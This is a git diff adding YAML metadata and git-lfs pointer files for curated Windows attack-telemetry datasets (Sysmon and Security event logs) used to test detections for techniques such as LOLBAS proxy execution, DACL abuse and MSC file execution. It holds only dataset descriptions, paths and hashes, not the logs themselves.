attack data generated for detection Windows Execution of Microsoft + MSC File In Suspicious Path +environment: attack_range +directory: msc_execution +mitre_technique: [] +datasets: +- name: loaded_msc_mmc + path: /datasets/attack_techniques/T1218.014/msc_execution/loaded_msc_mmc-d423f0b0-0d73-4e9b-bf2e-72895200b14b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.014/msc_execution/loaded_msc_mmc-d423f0b0-0d73-4e9b-bf2e-72895200b14b.log b/datasets/attack_techniques/T1218.014/msc_execution/loaded_msc_mmc-d423f0b0-0d73-4e9b-bf2e-72895200b14b.log new file mode 100644 index 000000000..cdaad43a3 --- /dev/null +++ b/datasets/attack_techniques/T1218.014/msc_execution/loaded_msc_mmc-d423f0b0-0d73-4e9b-bf2e-72895200b14b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dcc403e3de73e18c29e657ae541b87dd3c1de9bd5c30ea205635c2fe7c51902a +size 7988 diff --git a/datasets/attack_techniques/T1218.014/snapattack/T1218.014_snapattack.yml b/datasets/attack_techniques/T1218.014/snapattack/T1218.014_snapattack.yml new file mode 100644 index 000000000..9871cd7e1 --- /dev/null +++ b/datasets/attack_techniques/T1218.014/snapattack/T1218.014_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: d52d527e-7496-499c-a6af-a43c03e82327 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mock Trusted Directory + MSC File Creation +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1218.014/snapattack/snapattack-d52d527e-7496-499c-a6af-a43c03e82327.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.014/snapattack/snapattack-d52d527e-7496-499c-a6af-a43c03e82327.log b/datasets/attack_techniques/T1218.014/snapattack/snapattack-d52d527e-7496-499c-a6af-a43c03e82327.log new file mode 100644 index 000000000..94069baa4 --- /dev/null +++ b/datasets/attack_techniques/T1218.014/snapattack/snapattack-d52d527e-7496-499c-a6af-a43c03e82327.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3cfd8ef3f4d82667a6b5c3a75c3604577c8cad6810d0def585b1fed225c8e5d1 +size 1197 diff --git a/datasets/attack_techniques/T1218/bitlockertogo/4688_bitlockertogo_windows-security-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log b/datasets/attack_techniques/T1218/bitlockertogo/4688_bitlockertogo_windows-security-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log new file mode 100644 index 000000000..722e2cd04 --- /dev/null +++ b/datasets/attack_techniques/T1218/bitlockertogo/4688_bitlockertogo_windows-security-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a51525571751f0d8a5836029b842880086550a144a425fccbee0bf178777d8f4 +size 9363 diff --git a/datasets/attack_techniques/T1218/bitlockertogo/T1218_bitlockertogo.yml b/datasets/attack_techniques/T1218/bitlockertogo/T1218_bitlockertogo.yml new file mode 100644 index 000000000..bbbb5a3ad --- /dev/null +++ b/datasets/attack_techniques/T1218/bitlockertogo/T1218_bitlockertogo.yml @@ -0,0 +1,17 @@ +author: STRT +id: 69cef76d-fce1-4c62-8fa2-ef12594c2cbb +date: '2026-07-11' +description: Curated attack data generated for detection Windows BitLockerToGo Process + Execution +environment: attack_range +directory: bitlockertogo +mitre_technique: [] +datasets: +- name: 4688_bitlockertogo_windows-security + path: /datasets/attack_techniques/T1218/bitlockertogo/4688_bitlockertogo_windows-security-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: bitlockertogo_windows-sysmon + path: /datasets/attack_techniques/T1218/bitlockertogo/bitlockertogo_windows-sysmon-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/bitlockertogo/bitlockertogo_windows-sysmon-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log b/datasets/attack_techniques/T1218/bitlockertogo/bitlockertogo_windows-sysmon-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log new file mode 100644 index 000000000..f1f636666 --- /dev/null +++ b/datasets/attack_techniques/T1218/bitlockertogo/bitlockertogo_windows-sysmon-69cef76d-fce1-4c62-8fa2-ef12594c2cbb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5eb59d78d6db4374b599c5fb50aae930f6b8e2dfc89303e23ebdc35dbf2edb78 +size 1072 diff --git a/datasets/attack_techniques/T1218/diskshadow/T1218_diskshadow.yml b/datasets/attack_techniques/T1218/diskshadow/T1218_diskshadow.yml new file mode 100644 index 000000000..f8e18f721 --- /dev/null +++ b/datasets/attack_techniques/T1218/diskshadow/T1218_diskshadow.yml @@ -0,0 +1,13 @@ +author: STRT +id: 475c4bdb-60ce-4ab6-9462-4b08a814bc74 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Diskshadow Proxy + Execution +environment: attack_range +directory: diskshadow +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218/diskshadow/windows-sysmon-475c4bdb-60ce-4ab6-9462-4b08a814bc74.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/diskshadow/windows-sysmon-475c4bdb-60ce-4ab6-9462-4b08a814bc74.log b/datasets/attack_techniques/T1218/diskshadow/windows-sysmon-475c4bdb-60ce-4ab6-9462-4b08a814bc74.log new file mode 100644 index 000000000..8b25eaf71 --- /dev/null +++ b/datasets/attack_techniques/T1218/diskshadow/windows-sysmon-475c4bdb-60ce-4ab6-9462-4b08a814bc74.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7a293e981f71ac97241f29946c2b9f005fac0ad0a4c3a8c9c14f5859fcc4bcfd +size 2045 diff --git a/datasets/attack_techniques/T1218/eviltwin/T1218_eviltwin.yml b/datasets/attack_techniques/T1218/eviltwin/T1218_eviltwin.yml new file mode 100644 index 000000000..0fb2fe47e --- /dev/null +++ b/datasets/attack_techniques/T1218/eviltwin/T1218_eviltwin.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8d9bfd2f-4502-4a73-9f3b-0331e8bde9a9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows MSC EvilTwin Directory + Path Manipulation +environment: attack_range +directory: eviltwin +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218/eviltwin/windows-sysmon-8d9bfd2f-4502-4a73-9f3b-0331e8bde9a9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/eviltwin/windows-sysmon-8d9bfd2f-4502-4a73-9f3b-0331e8bde9a9.log b/datasets/attack_techniques/T1218/eviltwin/windows-sysmon-8d9bfd2f-4502-4a73-9f3b-0331e8bde9a9.log new file mode 100644 index 000000000..a4561c5fb --- /dev/null +++ b/datasets/attack_techniques/T1218/eviltwin/windows-sysmon-8d9bfd2f-4502-4a73-9f3b-0331e8bde9a9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:082fd85c5a8311bfd238d116c207fd3e2a1c116c71d9c261e99e66c04c5a1893 +size 6147 diff --git a/datasets/attack_techniques/T1218/lolbas_with_network_traffic/T1218_lolbas_with_network_traffic.yml b/datasets/attack_techniques/T1218/lolbas_with_network_traffic/T1218_lolbas_with_network_traffic.yml new file mode 100644 index 000000000..35f32ad2c --- /dev/null +++ b/datasets/attack_techniques/T1218/lolbas_with_network_traffic/T1218_lolbas_with_network_traffic.yml @@ -0,0 +1,12 @@ +author: STRT +id: 37ff3f93-4519-4ae3-9e85-a3440db3d68a +date: '2026-07-10' +description: Curated attack data generated for detection LOLBAS With Network Traffic +environment: attack_range +directory: lolbas_with_network_traffic +mitre_technique: [] +datasets: +- name: lolbas_with_network_traffic + path: /datasets/attack_techniques/T1218/lolbas_with_network_traffic/lolbas_with_network_traffic-37ff3f93-4519-4ae3-9e85-a3440db3d68a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/lolbas_with_network_traffic/lolbas_with_network_traffic-37ff3f93-4519-4ae3-9e85-a3440db3d68a.log b/datasets/attack_techniques/T1218/lolbas_with_network_traffic/lolbas_with_network_traffic-37ff3f93-4519-4ae3-9e85-a3440db3d68a.log new file mode 100644 index 000000000..040a69f04 --- /dev/null +++ b/datasets/attack_techniques/T1218/lolbas_with_network_traffic/lolbas_with_network_traffic-37ff3f93-4519-4ae3-9e85-a3440db3d68a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:33249038a378c1669c91ae1eeab1d51640fcf70f8ae3f7648e99b2ff5faea622 +size 4198 diff --git a/datasets/attack_techniques/T1218/msix_ai_stubs/T1218_msix_ai_stubs.yml b/datasets/attack_techniques/T1218/msix_ai_stubs/T1218_msix_ai_stubs.yml new file mode 100644 index 000000000..4157eef28 --- /dev/null +++ b/datasets/attack_techniques/T1218/msix_ai_stubs/T1218_msix_ai_stubs.yml @@ -0,0 +1,13 @@ +author: STRT +id: bc460e5c-7f96-44e8-be45-80c2c54d7466 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Advanced Installer + MSIX with AI_STUBS Execution +environment: attack_range +directory: msix_ai_stubs +mitre_technique: [] +datasets: +- name: windows_sysmon + path: /datasets/attack_techniques/T1218/msix_ai_stubs/windows_sysmon-bc460e5c-7f96-44e8-be45-80c2c54d7466.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/msix_ai_stubs/windows_sysmon-bc460e5c-7f96-44e8-be45-80c2c54d7466.log b/datasets/attack_techniques/T1218/msix_ai_stubs/windows_sysmon-bc460e5c-7f96-44e8-be45-80c2c54d7466.log new file mode 100644 index 000000000..60dfb888d --- /dev/null +++ b/datasets/attack_techniques/T1218/msix_ai_stubs/windows_sysmon-bc460e5c-7f96-44e8-be45-80c2c54d7466.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4dc602c45b1ee18c0220601a809669a59f1cc349591a37af1debd756d6b77d8e +size 6633 diff --git a/datasets/attack_techniques/T1218/vip_aspnet_process/T1218_vip_aspnet_process.yml b/datasets/attack_techniques/T1218/vip_aspnet_process/T1218_vip_aspnet_process.yml new file mode 100644 index 000000000..67ca26116 --- /dev/null +++ b/datasets/attack_techniques/T1218/vip_aspnet_process/T1218_vip_aspnet_process.yml @@ -0,0 +1,13 @@ +author: STRT +id: 03075285-946b-4f74-b3c6-6bbd0824eb01 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Proxy Execution of + .NET Utilities via Scripts +environment: attack_range +directory: vip_aspnet_process +mitre_technique: [] +datasets: +- name: vip_aspnet_process + path: /datasets/attack_techniques/T1218/vip_aspnet_process/vip_aspnet_process-03075285-946b-4f74-b3c6-6bbd0824eb01.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218/vip_aspnet_process/vip_aspnet_process-03075285-946b-4f74-b3c6-6bbd0824eb01.log b/datasets/attack_techniques/T1218/vip_aspnet_process/vip_aspnet_process-03075285-946b-4f74-b3c6-6bbd0824eb01.log new file mode 100644 index 000000000..86593992d --- /dev/null +++ b/datasets/attack_techniques/T1218/vip_aspnet_process/vip_aspnet_process-03075285-946b-4f74-b3c6-6bbd0824eb01.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b3cb90694d7de38fb26d549a9a0215e2e2396e6a9b3382c6a2074a3b9385033 +size 42550 diff --git a/datasets/attack_techniques/T1219/snapattack/T1219_snapattack.yml b/datasets/attack_techniques/T1219/snapattack/T1219_snapattack.yml new file mode 100644 index 000000000..50606ba86 --- /dev/null +++ b/datasets/attack_techniques/T1219/snapattack/T1219_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3a5041fa-ce82-4e73-ba80-912104820052 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Level RMM PowerShell + Script Installer +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1219/snapattack/snapattack-3a5041fa-ce82-4e73-ba80-912104820052.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1219/snapattack/snapattack-3a5041fa-ce82-4e73-ba80-912104820052.log b/datasets/attack_techniques/T1219/snapattack/snapattack-3a5041fa-ce82-4e73-ba80-912104820052.log new file mode 100644 index 000000000..41179b29d --- /dev/null +++ b/datasets/attack_techniques/T1219/snapattack/snapattack-3a5041fa-ce82-4e73-ba80-912104820052.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:951f59b15f7a2ffb82c492e18b5b48b9286b819f86fb861e008f83f50ee55157 +size 4214 diff --git a/datasets/attack_techniques/T1220/atomic_red_team/T1220_atomic_red_team.yml b/datasets/attack_techniques/T1220/atomic_red_team/T1220_atomic_red_team.yml new file mode 100644 index 000000000..86a1a2be1 --- /dev/null +++ b/datasets/attack_techniques/T1220/atomic_red_team/T1220_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 17baa002-217f-4057-a57e-416bb899060c +date: '2026-07-11' +description: Curated attack data generated for detection WMIC XSL Execution via URL +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1220/atomic_red_team/windows-sysmon-17baa002-217f-4057-a57e-416bb899060c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1220/atomic_red_team/windows-sysmon-17baa002-217f-4057-a57e-416bb899060c.log b/datasets/attack_techniques/T1220/atomic_red_team/windows-sysmon-17baa002-217f-4057-a57e-416bb899060c.log new file mode 100644 index 000000000..58e6c2db2 --- /dev/null +++ b/datasets/attack_techniques/T1220/atomic_red_team/windows-sysmon-17baa002-217f-4057-a57e-416bb899060c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d108287bd7d4db0092e7072981bd411af49e2e89f7c250c3d0ffd5958498c827 +size 2134 diff --git a/datasets/attack_techniques/T1222.001/atomic_red_team/T1222.001_atomic_red_team.yml b/datasets/attack_techniques/T1222.001/atomic_red_team/T1222.001_atomic_red_team.yml new file mode 100644 index 000000000..0af2232ba --- /dev/null +++ b/datasets/attack_techniques/T1222.001/atomic_red_team/T1222.001_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4a82fbdc-1452-406d-a4c2-450c1fffbaab +date: '2026-07-10' +description: Curated attack data generated for detection Hiding Files And Directories + With Attrib exe +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1222.001/atomic_red_team/windows-sysmon-4a82fbdc-1452-406d-a4c2-450c1fffbaab.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1222.001/atomic_red_team/windows-sysmon-4a82fbdc-1452-406d-a4c2-450c1fffbaab.log b/datasets/attack_techniques/T1222.001/atomic_red_team/windows-sysmon-4a82fbdc-1452-406d-a4c2-450c1fffbaab.log new file mode 100644 index 000000000..9273f2196 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/atomic_red_team/windows-sysmon-4a82fbdc-1452-406d-a4c2-450c1fffbaab.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:29d33199135eadf9265a73808d58e70093336ec74c1194d8e2639df8e7ef99d9 +size 4250 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/T1222.001_dacl_abuse.yml b/datasets/attack_techniques/T1222.001/dacl_abuse/T1222.001_dacl_abuse.yml new file mode 100644 index 000000000..d15f9f9a2 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/T1222.001_dacl_abuse.yml @@ -0,0 +1,37 @@ +author: STRT +id: 0693bac0-ac56-4b37-a71a-8db2410b906d +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD Dangerous Deny + ACL Modification +environment: attack_range +directory: dacl_abuse +mitre_technique: [] +datasets: +- name: hidden_object_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/hidden_object_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: group_dacl_mod_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/group_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: user_dacl_mod_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/user_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: domain_root_acl_deletion_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_deletion_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: domain_root_acl_mod_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: hidden_ou_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/hidden_ou_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: owner_updated_windows-security-xml + path: /datasets/attack_techniques/T1222.001/dacl_abuse/owner_updated_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_deletion_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_deletion_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..bc16c9dff --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_deletion_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6fa77314a8cc4c7e1dfb6d82bf68e0c94bc2be5cd7a44eee408bbfe6827bb1c7 +size 7468 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..43f46ce8e --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/domain_root_acl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3f6ecb2972b617b25c954b6070be5b6e3dbd3ddbf1cb84c764fcc7a72fd9442c +size 7473 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/group_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/group_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..16ec3f90f --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/group_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0f1882375a05c80c5765d16deda4da2f7c51045ae14fb8eb235c77ba89fcfe09 +size 17643 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_object_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_object_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..93428524f --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_object_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2ad022bd46cb90d6233b62a511ca2d7caa9f651db3a0d76c8c1ff9fd9e9eba7c +size 14899 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_ou_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_ou_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..2ac58f1b1 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/hidden_ou_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bc93baaea9c8e66f2602f128074683e6b69b6e0c8206f93ab816f4786e38b67b +size 6456 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/owner_updated_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/owner_updated_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..098258ba0 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/owner_updated_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0bcca6d39b07bb0aa99c7e2ce9239f24dae82282c014b618b74687f7d320121b +size 10217 diff --git a/datasets/attack_techniques/T1222.001/dacl_abuse/user_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log b/datasets/attack_techniques/T1222.001/dacl_abuse/user_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log new file mode 100644 index 000000000..055bedb27 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/dacl_abuse/user_dacl_mod_windows-security-xml-0693bac0-ac56-4b37-a71a-8db2410b906d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0fc9b1cd976eff8d6f80a3a9d0e1442eddde2287f89ada10a29ff66e56338d34 +size 7781 diff --git a/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/T1222.001_fsutil_symlink_eval.yml b/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/T1222.001_fsutil_symlink_eval.yml new file mode 100644 index 000000000..95755064d --- /dev/null +++ b/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/T1222.001_fsutil_symlink_eval.yml @@ -0,0 +1,13 @@ +author: STRT +id: da0a0186-45a3-4176-90ff-091e937e803f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Symlink Evaluation + Change via Fsutil +environment: attack_range +directory: fsutil_symlink_eval +mitre_technique: [] +datasets: +- name: fsutil_symlink_eval + path: /datasets/attack_techniques/T1222.001/fsutil_symlink_eval/fsutil_symlink_eval-da0a0186-45a3-4176-90ff-091e937e803f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/fsutil_symlink_eval-da0a0186-45a3-4176-90ff-091e937e803f.log b/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/fsutil_symlink_eval-da0a0186-45a3-4176-90ff-091e937e803f.log new file mode 100644 index 000000000..4ae91ee93 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/fsutil_symlink_eval/fsutil_symlink_eval-da0a0186-45a3-4176-90ff-091e937e803f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:055f282a2c4f1396db511c10ed4016241072fcbfb78e8de64f6614601c554109 +size 1949 diff --git a/datasets/attack_techniques/T1222.001/icacls_inheritance/T1222.001_icacls_inheritance.yml b/datasets/attack_techniques/T1222.001/icacls_inheritance/T1222.001_icacls_inheritance.yml new file mode 100644 index 000000000..46dd565b1 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/icacls_inheritance/T1222.001_icacls_inheritance.yml @@ -0,0 +1,13 @@ +author: STRT +id: 36efca14-756b-498a-918a-9968e0140e14 +date: '2026-07-11' +description: Curated attack data generated for detection Windows File and Directory + Enable ReadOnly Permissions +environment: attack_range +directory: icacls_inheritance +mitre_technique: [] +datasets: +- name: icacls_process_1 + path: /datasets/attack_techniques/T1222.001/icacls_inheritance/icacls_process_1-36efca14-756b-498a-918a-9968e0140e14.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1222.001/icacls_inheritance/icacls_process_1-36efca14-756b-498a-918a-9968e0140e14.log b/datasets/attack_techniques/T1222.001/icacls_inheritance/icacls_process_1-36efca14-756b-498a-918a-9968e0140e14.log new file mode 100644 index 000000000..5999426c5 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/icacls_inheritance/icacls_process_1-36efca14-756b-498a-918a-9968e0140e14.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:66fce0635ee5aa9a53b56b71a03be8011bc2d08b0c1f08b167043fe16d0692df +size 1057095 diff --git a/datasets/attack_techniques/T1222.001/subinacl/T1222.001_subinacl.yml b/datasets/attack_techniques/T1222.001/subinacl/T1222.001_subinacl.yml new file mode 100644 index 000000000..57fe3b827 --- /dev/null +++ b/datasets/attack_techniques/T1222.001/subinacl/T1222.001_subinacl.yml @@ -0,0 +1,12 @@ +author: STRT +id: ba205617-48fa-4954-92fb-37b921e2dd6d +date: '2026-07-11' +description: Curated attack data generated for detection Windows SubInAcl Execution +environment: attack_range +directory: subinacl +mitre_technique: [] +datasets: +- name: subinacl_sysmon + path: /datasets/attack_techniques/T1222.001/subinacl/subinacl_sysmon-ba205617-48fa-4954-92fb-37b921e2dd6d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1222.001/subinacl/subinacl_sysmon-ba205617-48fa-4954-92fb-37b921e2dd6d.log b/datasets/attack_techniques/T1222.001/subinacl/subinacl_sysmon-ba205617-48fa-4954-92fb-37b921e2dd6d.log new file mode 100644 index 000000000..81464b03f --- /dev/null +++ b/datasets/attack_techniques/T1222.001/subinacl/subinacl_sysmon-ba205617-48fa-4954-92fb-37b921e2dd6d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f526d5dade465339be6efba299dbfd398b7b8a7c593cb60c324f3da9a5746823 +size 1943 diff --git a/datasets/attack_techniques/T1222/snapattack/T1222_snapattack.yml b/datasets/attack_techniques/T1222/snapattack/T1222_snapattack.yml new file mode 100644 index 000000000..995371960 --- /dev/null +++ b/datasets/attack_techniques/T1222/snapattack/T1222_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 81db75c3-deb0-4c04-86cc-68325b082c1d +date: '2026-07-11' +description: Curated attack data generated for detection Windows SymbolicLink-Testing-Tools + Utility Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1222/snapattack/snapattack-81db75c3-deb0-4c04-86cc-68325b082c1d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1222/snapattack/snapattack-81db75c3-deb0-4c04-86cc-68325b082c1d.log b/datasets/attack_techniques/T1222/snapattack/snapattack-81db75c3-deb0-4c04-86cc-68325b082c1d.log new file mode 100644 index 000000000..ad3d87059 --- /dev/null +++ b/datasets/attack_techniques/T1222/snapattack/snapattack-81db75c3-deb0-4c04-86cc-68325b082c1d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d83fe55965e070f5900957f22d74faf1eab416ae3583e5bf639996d415284948 +size 1718 diff --git a/datasets/attack_techniques/T1482/atomic_red_team/T1482_atomic_red_team.yml b/datasets/attack_techniques/T1482/atomic_red_team/T1482_atomic_red_team.yml new file mode 100644 index 000000000..184b67369 --- /dev/null +++ b/datasets/attack_techniques/T1482/atomic_red_team/T1482_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 